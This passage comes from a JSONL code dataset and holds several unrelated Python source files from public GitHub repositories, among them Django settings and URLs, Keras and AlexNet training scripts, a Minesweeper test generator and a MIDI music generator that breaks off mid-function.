'rest_framework.throttling.AnonRateThrottle',\n 'rest_framework.throttling.UserRateThrottle'\n ),\n 'DEFAULT_THROTTLE_RATES': {\n 'anon': '100/day',\n 'user': '3600/hour'\n }\n}\n\n# MIDDLEWARE CONFIGURATION\n# ------------------------------------------------------------------------------\nMIDDLEWARE_CLASSES = (\n # Make sure djangosecure.middleware.SecurityMiddleware is listed first\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\n# MIGRATIONS CONFIGURATION\n# ------------------------------------------------------------------------------\nMIGRATION_MODULES = {\n 'sites': 'dtc_bus_routes.contrib.sites.migrations'\n}\n\n# DEBUG\n# ------------------------------------------------------------------------------\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#debug\nDEBUG = env.bool(\"DJANGO_DEBUG\", False)\n\n# FIXTURE CONFIGURATION\n# ------------------------------------------------------------------------------\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#std:setting-FIXTURE_DIRS\nFIXTURE_DIRS = (\n str(APPS_DIR.path('fixtures')),\n)\n\n# EMAIL CONFIGURATION\n# ------------------------------------------------------------------------------\nEMAIL_BACKEND = env('DJANGO_EMAIL_BACKEND', default='django.core.mail.backends.smtp.EmailBackend')\n\n# MANAGER CONFIGURATION\n# ------------------------------------------------------------------------------\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#admins\nADMINS = (\n (\"\"\"Dhiraj Thakur\"\"\", 'dhirajk.92@gmail.com'),\n)\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#managers\nMANAGERS = ADMINS\n\n# DATABASE CONFIGURATION\n# ------------------------------------------------------------------------------\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#databases\nDATABASES = {\n # Raises ImproperlyConfigured exception if DATABASE_URL not in os.environ\n 'default': env.db(\"DATABASE_URL\", default=\"postgres:///dtc_bus_routes\"),\n}\nDATABASES['default']['ATOMIC_REQUESTS'] = True\n\n\n# GENERAL CONFIGURATION\n# ------------------------------------------------------------------------------\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# In a Windows environment this must be set to your system time zone.\nTIME_ZONE = 'Asia/Kolkata'\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#language-code\nLANGUAGE_CODE = 'en-us'\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#site-id\nSITE_ID = 1\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#use-i18n\nUSE_I18N = True\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#use-l10n\nUSE_L10N = True\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#use-tz\nUSE_TZ = True\n\n# TEMPLATE CONFIGURATION\n# ------------------------------------------------------------------------------\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#templates\nTEMPLATES = [\n {\n # See: https://docs.djangoproject.com/en/dev/ref/settings/#std:setting-TEMPLATES-BACKEND\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n # See: https://docs.djangoproject.com/en/dev/ref/settings/#template-dirs\n 'DIRS': [\n str(APPS_DIR.path('templates')),\n ],\n 'OPTIONS': {\n # See: https://docs.djangoproject.com/en/dev/ref/settings/#template-debug\n 'debug': DEBUG,\n # See: https://docs.djangoproject.com/en/dev/ref/settings/#template-loaders\n # https://docs.djangoproject.com/en/dev/ref/templates/api/#loader-types\n 'loaders': [\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n ],\n # See: https://docs.djangoproject.com/en/dev/ref/settings/#template-context-processors\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.template.context_processors.i18n',\n 'django.template.context_processors.media',\n 'django.template.context_processors.static',\n 'django.template.context_processors.tz',\n 'django.contrib.messages.context_processors.messages',\n # Your stuff: custom template context processors go here\n ],\n },\n },\n]\n\n# STATIC FILE CONFIGURATION\n# ------------------------------------------------------------------------------\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#static-root\nSTATIC_ROOT = str(ROOT_DIR('staticfiles'))\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#static-url\nSTATIC_URL = '/static/'\n\n# See: https://docs.djangoproject.com/en/dev/ref/contrib/staticfiles/#std:setting-STATICFILES_DIRS\nSTATICFILES_DIRS = (\n str(APPS_DIR.path('static')),\n)\n\n# See: https://docs.djangoproject.com/en/dev/ref/contrib/staticfiles/#staticfiles-finders\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\n\n# MEDIA CONFIGURATION\n# ------------------------------------------------------------------------------\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#media-root\nMEDIA_ROOT = str(APPS_DIR('media'))\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#media-url\nMEDIA_URL = '/media/'\n\n# URL Configuration\n# ------------------------------------------------------------------------------\nROOT_URLCONF = 'dtc_bus_routes.urls'\n\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#wsgi-application\nWSGI_APPLICATION = 'dtc_bus_routes.wsgi.application'\n\n# AUTHENTICATION CONFIGURATION\n# ------------------------------------------------------------------------------\nAUTHENTICATION_BACKENDS = (\n 'django.contrib.auth.backends.ModelBackend',\n)\n\n# SLUGLIFIER\nAUTOSLUG_SLUGIFY_FUNCTION = 'slugify.slugify'\n\nCACHES = {\n \"default\": {\n \"BACKEND\": \"django_redis.cache.RedisCache\",\n \"LOCATION\": \"redis://127.0.0.1:6379/5\",\n \"OPTIONS\": {\n \"CLIENT_CLASS\": \"django_redis.client.DefaultClient\",\n }\n }\n}\n\n# CACHE POOLS\nDEFAULT_REDIS_POOL = redis.ConnectionPool(host='localhost',port=6379,db=0)\nBUS_REDIS_POOL = redis.ConnectionPool(host='localhost',port=6379,db=1)\nSTAGE_REDIS_POOL = redis.ConnectionPool(host='localhost',port=6379,db=2)\n\n\n# LOGGING CONFIGURATION\n# ------------------------------------------------------------------------------\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#logging\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error when DEBUG=False.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': [],\n 'level': 'ERROR',\n 'propagate': True,\n },\n }\n}\n\n# Your common stuff: Below this line define 3rd party library settings\n","repo_name":"dhirajt/dtc_bus_routes","sub_path":"settings/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":9765,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"70"} +{"seq_id":"15138835061","text":"from django.urls import path\nfrom . import views\n\n# Static Urls\n\n'''urlpatterns = [\n path('january', views.january),\n path('february',views.february),\n path(\"march\", views.march),\n]'''\n\n\n# Dynamic Urls based on logic on views.\n# Passing string as Argument in views functions.\n# Type castiing Path routers\nurlpatterns = [\n path(\"\",views.IntroPage),\n path(\"\",views.monthly_challenge_by_number),\n path(\"\",views.monthly_challenge, name = \"month-challenge\"),\n]\n","repo_name":"VenkatramanG45/Django_Tutorials_exp","sub_path":"Working with views and urls/MONTHLY_CHALLENGES/challenges/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"30008315706","text":"import argparse\nimport datetime\nimport logging\nimport os\nimport pickle\n\nimport pandas as pd\nimport train_with_keras\nfrom keras.layers import Dense\nfrom keras.models import Sequential\nfrom keras.optimizers import SGD\nfrom keras.regularizers import l2\n\n\ndef load_batch(directory, batch_size, sep=','):\n sub_batch = None\n # For keras, my generator must be able to loop infinitely\n while True:\n for file in os.listdir(directory):\n filename = directory + str(os.fsdecode(file))\n rows_df = pd.read_csv(filename, sep=sep, index_col=0)\n rows_df.y = [0 if r == -1 else r for r in rows_df.y]\n sub = (rows_df.shape[0] // batch_size) + 1\n for i in range(sub):\n start = (i) * batch_size\n if sub_batch is None:\n end = min(rows_df.shape[0], start + batch_size)\n sub_batch = rows_df.iloc[start:end, :]\n else:\n end = batch_size - sub_batch.shape[0]\n sub_batch = sub_batch.append(rows_df.iloc[start:end, :])\n if sub_batch.shape[0] == batch_size:\n yield (sub_batch.iloc[:, 1:], sub_batch.iloc[:, 0])\n sub_batch = None\n\n\ndef train(arg_loss, arg_metrics, arg_batch_size, arg_num_epochs,\n training_batches_folder, validation_batches_folder, steps_training,\n steps_validation):\n\n loss = 'binary_crossentropy' if arg_loss is None else arg_loss\n metrics = ['accuracy'] if arg_metrics is None else arg_metrics.split(',')\n\n # Build the model\n output_dim = 1 # One binary class\n input_dim = 1063 # number of features of the input\n model = Sequential()\n model.add(Dense(output_dim, input_dim=input_dim, activation='sigmoid',\n kernel_regularizer=l2(1.0)))\n optimizer = SGD(lr=0.015)\n\n \n training_generator = load_batch(training_batches_folder, arg_batch_size)\n validation_generator = load_batch(validation_batches_folder,\n arg_batch_size)\n\n \"\"\"\n *CADD v1.3 Release Notes*\n Learner: For this version we used the Logistic Regression module of\n GraphLab Create v1.4 (https://dato.com/products/create/). In contrast to\n previous releases, we trained only one classifier using approximately 15\n million human derived variants (newly extracted from EPO 6 primate\n alignments v75) versus approximately 15 million (newly) simulated variants.\n We used an L2 penalty of 1.0 and terminated training after 10 iterations.\n\n nb_steps_training = 100000 # 34693009 / batch_size = 542078.265625\n nb_steps_prediction = 50000 # 350051 / batch_size = 5469.546875\n \"\"\"\n\n # Compile the model\n model.compile(\n optimizer=optimizer, loss=loss, metrics=metrics)\n\n history = model.fit_generator(\n training_generator, steps_per_epoch=steps_training,\n epochs=arg_num_epochs, shuffle=True,\n validation_data=validation_generator,\n validation_steps=steps_validation)\n\n return(model, history)\n\n\ndef test(model, arg_batch_size, testing_batches_folder, steps_testing):\n testing_generator = load_batch(testing_batches_folder, arg_batch_size)\n score = model.evaluate_generator(\n testing_generator, steps=steps_testing, max_queue_size=10)\n return(score)\n\n\ndef save(model, model_file):\n model.save(model_file)","repo_name":"dansimancas/kipoi-cadd","sub_path":"src/01_retrain-cadd_v1.3/train_with_keras.py","file_name":"train_with_keras.py","file_ext":"py","file_size_in_byte":3397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23071332871","text":"import os\nfrom definitions import DATA_DIR, EXTRANEOUS_WORDS\nimport string\nimport json\nimport pandas\nimport helpers as helpers\n\ndef fetch_company_list(filename,sheet):\n excel_data_df = pandas.read_excel(filename, sheet_name=sheet, index_col = None)\n company_list = excel_data_df['conm'].drop_duplicates().tolist()\n with open(\"data/company_names.json\", \"w\") as outfile:\n outfile.write(json.dumps(company_list))\n\n# This function checks for any company_names.json, company_map.json, companies_not_found.json, and company_reviews.json and updates the company names to be lower case, trimmed, and removes any punctuation.\ndef fix_scraped_files(wd):\n files = os.listdir(wd)\n #if \"company_names.json\" in files:\n # file = wd + \"/company_names.json\"\n # fix_company_names(file)\n if \"companies_not_found.json\" in files:\n file = wd + \"/companies_not_found.json\"\n fix_company_names(file)\n #if \"companies_map.json\" in files:\n # file = wd + \"/companies_map.json\"\n # fix_companies_map(file)\n #if \"company_reviews.json\" in files:\n # file = wd + \"/company_reviews.json\"\n # fix_companies_map(file)\n\ndef fix_company_names(old_company_names):\n new_company_names = [\n remove_extraneous(remove_punctuation(n).lower().strip()) for n in old_company_names\n ]\n return new_company_names\n\ndef fix_company_names_in_map(file_name):\n\n # Open the old file\n with open(file_name) as f:\n old_company_names = json.load(f)\n\n # Iterate over the company names and apply the transformation\n new_company_names = fix_company_names(old_company_names)\n\n # Rewrite the company names\n with open(file_name, \"w\") as outfile:\n print(\"Rewriting \" + file_name)\n json.dump(new_company_names, outfile, indent=2, sort_keys=True)\n\ndef fix_companies_map(file_name):\n with open(file_name) as f:\n old_company_map = json.load(f)\n\n new_company_map = {}\n for k in old_company_map:\n new_company_map[remove_punctuation(k).lower().strip()] = old_company_map[k]\n\n with open(file_name, \"w\") as outfile:\n print(\"Rewriting \" + file_name)\n json.dump(new_company_map, outfile, indent=2, sort_keys=True)\n\n\ndef remove_punctuation(str):\n return \"\".join(c for c in str if c not in string.punctuation)\n\ndef remove_extraneous(str):\n edit_string_as_list = str.split()\n final_list = [word for word in edit_string_as_list if word not in EXTRANEOUS_WORDS]\n return ' '.join(final_list)\n\n\n\n#fetch_company_list('data/compustat_data.xlsx','companies')\n#fix_scraped_files(DATA_DIR)\n\n\n\n","repo_name":"duncan-ross/Glassdoor-Research","sub_path":"src/fix_company_names.py","file_name":"fix_company_names.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"40558998739","text":"import sys\nimport rtamt\n\ndef monitor():\n # data\n dataSet = {\n 'time': [0, 1, 2],\n 'a': [100.0, -1.0, -2.0],\n 'b': [20.0, 2.0, -10.0]\n }\n\n # # stl\n spec = rtamt.StlDiscreteTimeSpecification()\n spec.name = 'STL discrete-time online Python monitor'\n spec.declare_var('a', 'float')\n spec.declare_var('b', 'float')\n spec.spec = 'a + b >= - 2'\n\n try:\n spec.parse()\n except rtamt.RTAMTException as err:\n print('STL Parse Exception: {}'.format(err))\n sys.exit()\n\n rob = spec.evaluate(dataSet)\n print('Robustness: ' + str(rob))\n\nif __name__ == '__main__':\n # Process arguments\n\n monitor()\n","repo_name":"nickovic/rtamt","sub_path":"examples/basic/monitor_stl_discrete_time_offline_python.py","file_name":"monitor_stl_discrete_time_offline_python.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"70"} +{"seq_id":"71557151906","text":"import cv2\n\ncaptura = cv2.VideoCapture(0)\ncount = 0\n\nwhile(captura.isOpened()):\n count = count + 1\n ret, frame = captura.read()\n\n if ret == True:\n print(frame)\n\n cv2.imshow('video',frame)\n if cv2.waitKey(1) & 0xFF == ord('e'):\n break\nprint(count)\ncaptura.release()\ncv2.destroyAllWindows()","repo_name":"justinXD/AI_CETI","sub_path":"webcam.py","file_name":"webcam.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5305079915","text":"# -*- coding: utf-8 -*-\n\"\"\"Training AlexNet on Kaggle: Dogs vs. Cats\n\nExample:\n $ python train_alexnet.py\n\"\"\"\nimport os\nimport json\nimport matplotlib\nfrom keras.optimizers import Adam\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom pyimagesearch.nn.conv import AlexNet\nfrom pyimagesearch.io import HDF5DatasetGenerator\nfrom pyimagesearch.callbacks import TrainingMonitor\nfrom pyimagesearch.preprocessing import MeanPreprocessor\nfrom pyimagesearch.preprocessing import PatchPreprocessor\nfrom pyimagesearch.preprocessing import SimplePreprocessor\nfrom pyimagesearch.preprocessing import ImageToArrayPreprocessor\nfrom config import dogs_vs_cats_config as config\n\n# set the matplotlib backend so figures can be saved in the background\nmatplotlib.use(\"Agg\")\n\n\ndef main():\n \"\"\"Train AlexNet on Dogs vs Cats\n \"\"\"\n # construct the training image generator for data augmentation\n augmentation = ImageDataGenerator(\n rotation_range=20,\n zoom_range=0.15,\n width_shift_range=0.2,\n height_shift_range=0.2,\n shear_range=0.15,\n horizontal_flip=True,\n fill_mode=\"nearest\",\n )\n\n # load the RGB means for the training set\n means = json.loads(open(config.DATASET_MEAN).read())\n # initialize the image preprocessors\n simple_preprocessor = SimplePreprocessor(227, 227)\n patch_preprocessor = PatchPreprocessor(227, 227)\n mean_preprocessor = MeanPreprocessor(means[\"R\"], means[\"G\"], means[\"B\"])\n image_to_array_preprocessor = ImageToArrayPreprocessor()\n\n # initialize the training and validation dataset generators\n train_gen = HDF5DatasetGenerator(\n config.TRAIN_HDF5,\n 128,\n augmentation=augmentation,\n preprocessors=[patch_preprocessor, mean_preprocessor, image_to_array_preprocessor],\n classes=2,\n )\n\n val_gen = HDF5DatasetGenerator(\n config.VAL_HDF5,\n 128,\n preprocessors=[simple_preprocessor, mean_preprocessor, image_to_array_preprocessor],\n classes=2,\n )\n # initialize the optimizer\n print(\"[INFO] compiling model...\")\n opt = Adam(lr=1e-3)\n model = AlexNet.build(width=227, height=227, depth=3, classes=2, regularization=0.0002)\n model.compile(loss=\"binary_crossentropy\", optimizer=opt, metrics=[\"accuracy\"])\n\n # construct the set of callbacks\n path = os.path.sep.join([config.OUTPUT_PATH, \"{}.png\".format(os.getpid())])\n callbacks = [TrainingMonitor(path)]\n\n # train the network\n model.fit_generator(\n train_gen.generator(),\n steps_per_epoch=train_gen.num_images // 128,\n validation_data=val_gen.generator(),\n validation_steps=val_gen.num_images // 128,\n epochs=75,\n max_queue_size=10,\n callbacks=callbacks,\n verbose=1,\n )\n\n # save the model to file\n print(\"[INFO] serializing model...\")\n model.save(config.MODEL_PATH, overwrite=True)\n\n # close the HDF5 datasets\n train_gen.close()\n val_gen.close()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"miroso/pis_code","sub_path":"practicioner_bundle/ch10-dogs_vs_cats/train_alexnet.py","file_name":"train_alexnet.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"1737688078","text":"\n\nfrom __future__ import annotations\nimport wx\nfrom ..widgets.element_list import ElementList\nfrom typing import Dict, List, Optional, Set, TYPE_CHECKING\n\nif TYPE_CHECKING:\n from ..layout_frame import Layout_Frame\n\n\n# FindElementDialog is a window that enables the user to enter a string,\n# conduct a search and jump to a location and element based on the result.\n# It gets its data from search_handle.py\nclass FindElementDialog(wx.Frame):\n START_COLUMN = 0\n LOCATION_COLUMN = 1\n ANNOTATION_COLUMN = 2\n\n INITIAL_SEARCH = 0\n\n def __init__(self, parent: Layout_Frame) -> None:\n self.__layout_frame = parent\n self.__context = parent.GetContext()\n self.__full_results: List[Dict[str, str]] = []\n # initialize graphical part\n title = f'Find Element in {self.__layout_frame.ComputeTitle()}'\n wx.Frame.__init__(self, parent,\n -1,\n title,\n size=(900, 600),\n style=(wx.MAXIMIZE_BOX |\n wx.RESIZE_BORDER |\n wx.CAPTION |\n wx.CLOSE_BOX |\n wx.SYSTEM_MENU))\n\n main_sizer = wx.BoxSizer(wx.VERTICAL)\n self.SetSizer(main_sizer)\n\n self.__search_sizer = wx.BoxSizer(wx.HORIZONTAL)\n main_sizer.Add(self.__search_sizer, 0, wx.EXPAND, 5)\n\n choices: Set[str] = set()\n for el in self.__context.GetElements():\n choices.update(el._properties.keys())\n self.__choices: List[str] = sorted(list(choices))\n\n lbl_find = wx.StaticText(self, -1, \"Elements where: \")\n self.__drop_content = wx.ComboBox(\n self,\n choices=self.__choices,\n size=(150, -1),\n style=wx.CB_DROPDOWN | wx.CB_READONLY)\n self.__drop_content.SetToolTip(\n 'Select a content option on which to search'\n )\n DEFAULT_CHOICE = 'name'\n if DEFAULT_CHOICE in self.__choices:\n self.__drop_content.SetValue(DEFAULT_CHOICE)\n else:\n self.__drop_content.SetSelection(0)\n\n lbl_comparison = wx.StaticText(self, -1, \"contains\")\n self.__txt_input = wx.TextCtrl(self, -1, \"\")\n self.__btn_submit = wx.Button(self, -1, \"Find\")\n self.__search_sizer.Add(lbl_find,\n 0,\n wx.ALIGN_CENTER_VERTICAL | wx.RIGHT,\n 4)\n self.__search_sizer.Add(self.__drop_content, 0, 0, 4)\n self.__search_sizer.Add(lbl_comparison,\n 0,\n wx.ALIGN_CENTER_VERTICAL | wx.LEFT | wx.RIGHT,\n 4)\n self.__search_sizer.Add(self.__txt_input, 1, wx.EXPAND, 4)\n self.__search_sizer.Add(self.__btn_submit, 0, 0, 4)\n\n self.__results_box = ElementList(self,\n parent.GetCanvas(),\n name='listbox',\n properties=[''])\n main_sizer.Add(self.__results_box, 1, wx.EXPAND, 5)\n\n # bind to events\n self.__btn_submit.Bind(wx.EVT_BUTTON, self.OnSearch)\n self.__txt_input.Bind(wx.EVT_KEY_DOWN, self.OnKeyPress)\n\n self.Bind(wx.EVT_LIST_ITEM_ACTIVATED,\n self.OnClickElement,\n self.__results_box)\n # Hide instead of closing\n self.Bind(wx.EVT_CLOSE, lambda evt: self.Hide())\n\n # defines how the dialog should pop up\n def Show(self, show: bool = True) -> bool:\n res = wx.Frame.Show(self, show)\n self.Raise()\n self.FocusQueryBox()\n return res\n\n def FocusQueryBox(self) -> None:\n self.__txt_input.SetFocus()\n\n # Sets the location in the location box\n # @pre Requires there be no filters created because this means that the\n # original search (which defines location) cannot be replaced. Has no\n # effect if there are filters.\n def SetSearchLocation(self, loc: str) -> None:\n self.__txt_input.SetValue(loc)\n\n # callback that listens for enter being pressed to initiate search\n def OnKeyPress(self, evt: wx.KeyEvent) -> None:\n if evt.GetKeyCode() == wx.WXK_RETURN:\n self.OnSearch(None)\n else:\n evt.Skip()\n\n def OnSearch(self, evt: Optional[wx.CommandEvent]) -> None:\n self.__results_box.Clear()\n self.__full_results = []\n self.__results_box.RefreshAll()\n\n prop = self.__drop_content.GetValue()\n term = self.__txt_input.GetValue().lower()\n\n matches = []\n for el in self.__context.GetElements():\n # Check for match\n if el.HasProperty(prop):\n prop_val = el.GetProperty(prop)\n if prop_val is not None and term in str(prop_val).lower():\n matches.append(el)\n\n # Assemble properties based on matches\n properties_set: Set[str] = set()\n for m in matches:\n properties_set.update(m._properties.keys())\n properties = sorted(list(properties_set))\n\n # If no properties found, assume no matches and terminate the search\n if len(properties) == 0:\n return\n\n self.__results_box.SetProperties(properties)\n\n # Add matches to the results table\n for m in matches:\n entry = {}\n for p in properties:\n if m.HasProperty(p):\n entry[p] = str(m.GetProperty(p))\n else:\n entry[p] = ''\n\n self.__full_results.append(entry)\n self.__results_box.Add(m, entry)\n\n self.__results_box.FitColumns()\n\n # Attempts to select the element in the associated layout\n def OnClickElement(self, evt: wx.ListEvent) -> None:\n element = self.__results_box.GetElement(evt.GetIndex())\n if element is not None:\n canvas = self.__layout_frame.GetCanvas()\n if canvas.GetInputDecoder().GetEditMode():\n sel_mgr = canvas.GetSelectionManager()\n sel_mgr.ClearSelection()\n sel_mgr.Add(element)\n else:\n # Non-edit mode\n pair = self.__context.GetElementPair(element)\n canvas.GetSelectionManager().SetPlaybackSelected(pair)\n self.__layout_frame.Refresh()\n","repo_name":"sparcians/map","sub_path":"helios/pipeViewer/pipe_view/gui/dialogs/find_element_dlg.py","file_name":"find_element_dlg.py","file_ext":"py","file_size_in_byte":6455,"program_lang":"python","lang":"en","doc_type":"code","stars":111,"dataset":"github-code","pt":"70"} +{"seq_id":"1246214323","text":"# Say that you are a traveller on a 2D grid.\n# You begin in the top-left corner and your goal is to travel to the bottom-right corner.\n# You may only move down or right\n\n# In how many ways can you travel to the goal on a grid with dimensions m*n?\ndef gridTraveller(n,m,memo=None):\n if (memo is None):\n memo = {}; \n key = str(n)+\",\"+str(m);\n if (key in memo):\n return memo[key];\n if (n == 0 and m == 0):\n return 0;\n if (n == 1 or m == 1):\n return 1;\n r = gridTraveller(n-1,m, memo)+ gridTraveller(n,m-1,memo)\n memo[key] = r\n return r\n\n\nimport time\nstart = time.time()\nprint (\"**********\")\nprint (gridTraveller(18,18))\nend = time.time()\nprint( start)\nprint (start)\nprint((end - start)*1000)","repo_name":"kilitzir/Dynamic-Programming-examples-in-python","sub_path":"02 gridTraveler memoization/gridTraveller - memoization.py","file_name":"gridTraveller - memoization.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"3801410424","text":"#!/usr/bin/env python3\n\nimport os\nfrom lib import random\nimport shutil\n\nrandom.seed(42)\n\ndef place_mine(a, x, y, n, m):\n dx = [-1, -1, -1, 0, 0, 1, 1, 1]\n dy = [-1, 0, 1, -1, 1, -1, 0, 1]\n a[x][y] = -1\n for k in range(8):\n i, j = x+dx[k], y+dy[k]\n if 0 <= i < n and 0 <= j < m and a[i][j] != -1:\n a[i][j] += 1\n\n\ndef generate_test(name, testn): \n n = random.randint(1, 100)\n m = random.randint(1, 100)\n a = [[0]*m for _ in range(n)]\n k = 0\n for i in range(n):\n for j in range(m):\n if random.randint(0, 10) == 1:\n k += 1\n place_mine(a, i, j, n, m)\n with open(name, \"w\") as f:\n f.write(str(n)+\"\\n\")\n f.write(str(m)+\"\\n\")\n f.write(str(k)+\"\\n\")\n for i in range(n):\n for j in range(m):\n if a[i][j] == -1:\n f.write(str(i+1)+\"\\n\")\n f.write(str(j+1)+\"\\n\")\n with open(name+\".a\", \"w\") as f:\n for i in range(n):\n f.write(' '.join(list(map(str, a[i])))+'\\n')\n \n\ndef write_manual_test(name, n, m, k, a):\n with open(name, \"w\") as f:\n f.write(str(n)+\"\\n\")\n f.write(str(m)+\"\\n\")\n f.write(str(k)+\"\\n\")\n for i in range(n):\n for j in range(m):\n if a[i][j] == -1:\n f.write(str(i+1)+\"\\n\")\n f.write(str(j+1)+\"\\n\")\n with open(name+\".a\", \"w\") as f:\n for i in range(n):\n f.write(' '.join(list(map(str, a[i])))+'\\n')\n\n\nif __name__ == \"__main__\":\n test_folder = \"tests\"\n shutil.rmtree(test_folder, ignore_errors=True)\n os.mkdir(test_folder)\n for test in range(1, 6):\n test_name = os.path.join(test_folder, \"%02d\" % test)\n generate_test(test_name, test)\n \n # write_manual_test(os.path.join(test_folder, \"06\"), 1, 1, 1, [[-1]])\n # write_manual_test(os.path.join(test_folder, \"07\"), 100, 100, 10000, [[-1]*100]*100)\n # write_manual_test(os.path.join(test_folder, \"08\"), 85, 43, 0, [[0]*43]*85)\n \n write_manual_test(os.path.join(test_folder, \"06\"), 100, 100, 10000, [[-1]*100]*100)\n write_manual_test(os.path.join(test_folder, \"07\"), 85, 43, 0, [[0]*43]*85)\n","repo_name":"yudai-patronai/problembook","sub_path":"problems/arrays/minesweeper/test_generator.py","file_name":"test_generator.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"4963283137","text":"from __future__ import print_function\nimport midi\nfrom isness import *\nimport types, random, code, ast, _ast, readline, sys, os, atexit\nfrom strict_typing import types as typerule\nimport itertools\n\nMEL_VEL = 110\nCHORD_VEL = 95\nRESPONSE_OFFSET = 30\nDURATION = .4 #music.swung_dur(.4,.2).next\n\n# long occasional pauses\nSOMETIMES_DELAY = True\n# short frequent breaths\nPAUSE_DISABLED = True\n\nINSTRUMENTS = None\nSHOW_NOTES = True\nmidi.SHOW_NOTE_NAMES = False\nVERBOSE = False\nPLAY_NAME = True\n\nchord = None\nsounding_chord = None\n\ndef debug_log(*args):\n if VERBOSE:\n print(*args)\n\n# change the chord to the_chord only if it's not already\n@typerule(the_chord=str)\ndef chord_to(the_chord):\n global chord, sounding_chord\n if the_chord != sounding_chord:\n chord = the_chord\n\n@typerule(assumption=str)\ndef under_assumption(assumption):\n if assumption == 'working with strings':\n return True\n else:\n return False\n\ndef options(*things):\n return random.choice(things)\n\n@typerule(env=dict, _ret_type=dict)\ndef get_funcs(env):\n return {k:v for k,v in env.items()\n if is_function(v)}\n\n'''\ndef play_funcs(env): #todo need this anymore? (ev_funcs now)\n if is_module(env):\n env = env.__dict__\n funcs = get_funcs(env).items()\n random.shuffle(funcs)\n for func_name,func in funcs:\n if coinflip():\n times = 1\n else:\n times = options(1,2,4)\n for x in range(times):\n play_func(func)\n maybe_delay()\n'''\n\ndef maybe_delay(): #todo need this anymore?\n return midi.playe(ev_maybe_delay())\n\ndef ev_funcs(env, drums=False):\n debug_log(\"ev_funcs\")\n if is_module(env):\n env = env.__dict__\n funcs = get_funcs(env).items()\n random.shuffle(funcs)\n for func_name,func in funcs:\n debug_log(\" top of loop\")\n debug_log(\"func\",func)\n if coinflip():\n times = 1\n else:\n times = options(1,2,4)\n for x in range(times):\n if drums:\n events = midi.zipe(\n ev_func(func),\n midi.ev_drums(dur=DURATION),\n dont_finish={1}\n )\n else:\n events = ev_func(func)\n for e in events:\n yield e\n debug_log(\" maybe delay!\")\n for e in ev_maybe_delay():\n debug_log(\" yes delay!\")\n yield e\n\ndef ev_maybe_delay():\n debug_log(\"DURATION=\"+str(DURATION))\n debug_log(\"SOMETIMES_DELAY=\"+str(SOMETIMES_DELAY))\n debug_log(\"PAUSE_DISABLED=\"+str(PAUSE_DISABLED))\n my_coinflip = coinflip(4)\n debug_log(\"my_coinflip=\"+str(my_coinflip))\n #if SOMETIMES_DELAY and not PAUSE_DISABLED and my_coinflip:\n if SOMETIMES_DELAY and my_coinflip:\n delay_len = options(8,16,24,32) #,48,64)\n debug_log('.' * delay_len)\n delay = '-' * delay_len\n for e in midi.ev_strn(\n delay, vel=MEL_VEL,\n show_notes=SHOW_NOTES,\n ):\n yield e\n\n@typerule(at_least=int, _ret_type=int)\ndef pause_amt(at_least=1):\n global PAUSE_DISABLED\n if PAUSE_DISABLED:\n return 0\n else:\n low, 